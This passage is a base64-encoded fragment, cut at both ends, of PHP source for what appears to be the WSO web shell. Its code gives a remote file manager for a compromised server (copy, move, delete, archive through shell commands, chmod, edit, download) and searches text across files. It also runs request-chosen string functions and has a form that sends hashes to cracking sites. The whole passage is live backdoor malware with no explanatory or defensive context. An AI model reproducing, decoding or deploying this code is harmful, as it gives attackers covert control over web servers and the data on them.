CRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQ0KCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikNCgkJCQkJCUByZW5hbWUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQoJCQkJfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnemlwJykgew0KCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihAaXNfZmlsZSgkX1NFU1NJT05bJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfU0VTU0lPTlsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZXJhdG9yID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRmLicvJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3VuemlwJykgew0KCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHppcC0+b3BlbigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAndGFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gYXJyYXlfbWFwKCdlc2NhcGVzaGVsbGFyZycsICRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfU0VTU0lPTlsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7DQoJCQkJfQ0KCQkJCXVuc2V0KCRfU0VTU0lPTlsnZiddKTsNCgkJCQlicmVhazsNCgkJCWRlZmF1bHQ6DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWydhY3QnXSA9IEAkX1BPU1RbJ3AxJ107DQoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KCQkJCQlmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gdXJsZGVjb2RlKCRmKTsNCgkJCQkJJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQoJCQkJfQ0KCQkJCWJyZWFrOw0KCQl9DQoJfQ0KCSRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7d3NvRm9vdGVyKCk7IHJldHVybjsgfQ0KCWdsb2JhbCAkc29ydDsNCgkkc29ydCA9IGFycmF5KCduYW1lJywgMSk7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpDQoJCQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOw0KCX0NCmVjaG8gIjxzY3JpcHQ+DQoJZnVuY3Rpb24gc2EoKSB7DQoJCWZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykNCgkJCQlkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7DQoJfQ0KPC9zY3JpcHQ+DQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPg0KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsNCgkkZGlycyA9ICRmaWxlcyA9IGFycmF5KCk7DQoJJG4gPSBjb3VudCgkZGlyQ29udGVudCk7DQoJZm9yKCRpPTA7JGk8JG47JGkrKykgew0KCQkkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTsNCgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7DQoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sDQoJCQkJCSAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksDQoJCQkJCSAncGVybXMnID0+IHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pDQoJCQkJCSk7DQoJCWlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJCQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsNCgkJZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsNCgkJZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkNCgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsNCgl9DQoJJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KCWZ1bmN0aW9uIHdzb0NtcCgkYSwgJGIpIHsNCgkJaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpDQoJCQlyZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJCWVsc2UNCgkJCXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJfQ0KCXVzb3J0KCRmaWxlcywgIndzb0NtcCIpOw0KCXVzb3J0KCRkaXJzLCAid3NvQ21wIik7DQoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoJJGwgPSAwOw0KCWZvcmVhY2goJGZpbGVzIGFzICRmKSB7DQoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiB0aXRsZT0nIC4gJGZbJ2xpbmsnXSAuICc+PGI+WyAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3dzb1ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXQ0KCQkJLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsNCgkJJGwgPSAkbD8wOjE7DQoJfQ0KCWVjaG8gIjx0cj48dGQgY29sc3Bhbj03Pg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4NCgk8c2VsZWN0IG5hbWU9J3AxJz48b3B0aW9uIHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb24+IjsNCiAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkNCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nemlwJz5Db21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5VbmNvbXByZXNzICh6aXApPC9vcHRpb24+IjsNCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd0YXInPkNvbXByZXNzICh0YXIuZ3opPC9vcHRpb24+IjsNCiAgICBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkgJiYgQGNvdW50KCRfU0VTU0lPTlsnZiddKSkNCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ncGFzdGUnPlBhc3RlIC8gQ29tcHJlc3M8L29wdGlvbj4iOw0KICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOyI7DQogICAgaWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pICYmIEBjb3VudCgkX1NFU1NJT05bJ2YnXSkgJiYgKCgkX1NFU1NJT05bJ2FjdCddID09ICd6aXAnKSB8fCAoJF9TRVNTSU9OWydhY3QnXSA9PSAndGFyJykpKQ0KICAgICAgICBlY2hvICJmaWxlIG5hbWU6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wMiB2YWx1ZT0nd3NvXyIgLiBkYXRlKCJZbWRfSGlzIikgLiAiLiIgLiAoJF9TRVNTSU9OWydhY3QnXSA9PSAnemlwJz8nemlwJzondGFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgew0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoDQoJCSdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsDQoJCSdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsDQoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywNCgkJJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLA0KCQknRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsDQoJCSdtZDUgaGFzaCcgPT4gJ21kNScsDQoJCSdzaGExIGhhc2gnID0+ICdzaGExJywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDMzInID0+ICdjcmMzMicsDQoJCSdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLA0KCQknSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywNCgkJJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLA0KCQknSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLA0KCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsDQoJCSdERUMgdG8gQklOJyA9PiAnZGVjYmluJywNCgkJJ0JJTiB0byBIRVgnID0+ICdiaW5oZXgnLA0KCQknQklOIHRvIERFQycgPT4gJ2JpbmRlYycsDQoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLA0KCQknU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywNCgkJJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywNCgkJJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLA0KCSk7DQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsNCgkJb2Jfc3RhcnQoKTsNCgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKQ0KCQkJZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsNCgkJJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpDQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7DQoJZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7DQoJZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpDQoJCWVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsNCgkJZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLihlbXB0eSgkX1BPU1RbJ3AxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOw0KCX0NCgllY2hvIjwvcHJlPjwvZGl2Pjxicj48aDE+U2VhcmNoIHRleHQgaW4gZmlsZXM6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJCTxmb3JtIG9uc3VibWl0PVwiZyhudWxsLHRoaXMuY3dkLnZhbHVlLG51bGwsdGhpcy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFsdWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJyB3aWR0aD0nNTAlJz4NCgkJCTx0cj48dGQgd2lkdGg9JzElJz5UZXh0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0ZXh0JyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QYXRoOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjd2QnIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1ZT0nKicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+DQoJCQk8L3RhYmxlPjwvZm9ybT4iOw0KDQoJZnVuY3Rpb24gd3NvUmVjdXJzaXZlR2xvYigkcGF0aCkgew0KCQlpZihzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpDQoJCQkkcGF0aC49Jy8nOw0KCQkkcGF0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJaWYoaXNfYXJyYXkoJHBhdGhzKSYmQGNvdW50KCRwYXRocykpIHsNCgkJCWZvcmVhY2goJHBhdGhzIGFzICRpdGVtKSB7DQoJCQkJaWYoQGlzX2RpcigkaXRlbSkpew0KCQkJCQlpZigkcGF0aCE9JGl0ZW0pDQoJCQkJCQl3c29SZWN1cnNpdmVHbG9iKCRpdGVtKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlpZihAc3RycG9zKEBmaWxlX2dldF9jb250ZW50cygkaXRlbSksIEAkX1BPU1RbJ3AyJ10pIT09ZmFsc2UpDQoJCQkJCQllY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgkaXRlbSkuIlwiLCBcInZpZXdcIiknPiIuaHRtbHNwZWNpYWxjaGFycygkaXRlbSkuIjwvYT48YnI+IjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJaWYoQCRfUE9TVFsncDMnXSkNCgkJd3NvUmVjdXJzaXZlR2xvYigkX1BPU1RbJ2MnXSk7DQoJZWNobyAiPC9kaXY+PGJyPjxoMT5TZWFyY2ggZm9yIGhhc2g6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJCTxmb3JtIG1ldGhvZD0ncG9zdCcgdGFyZ2V0PSdfYmxhbmsnIG5hbWU9J2hmJz4NCgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0naGFzaGNyYWNrLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5oYXNoY3JhY2suY29tL2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWlsdzBybS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWlsdzBybS5jb20vY3JhY2tlci9zZWFyY2gucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2tpbmcuaW5mbycgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcuaW5mby9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1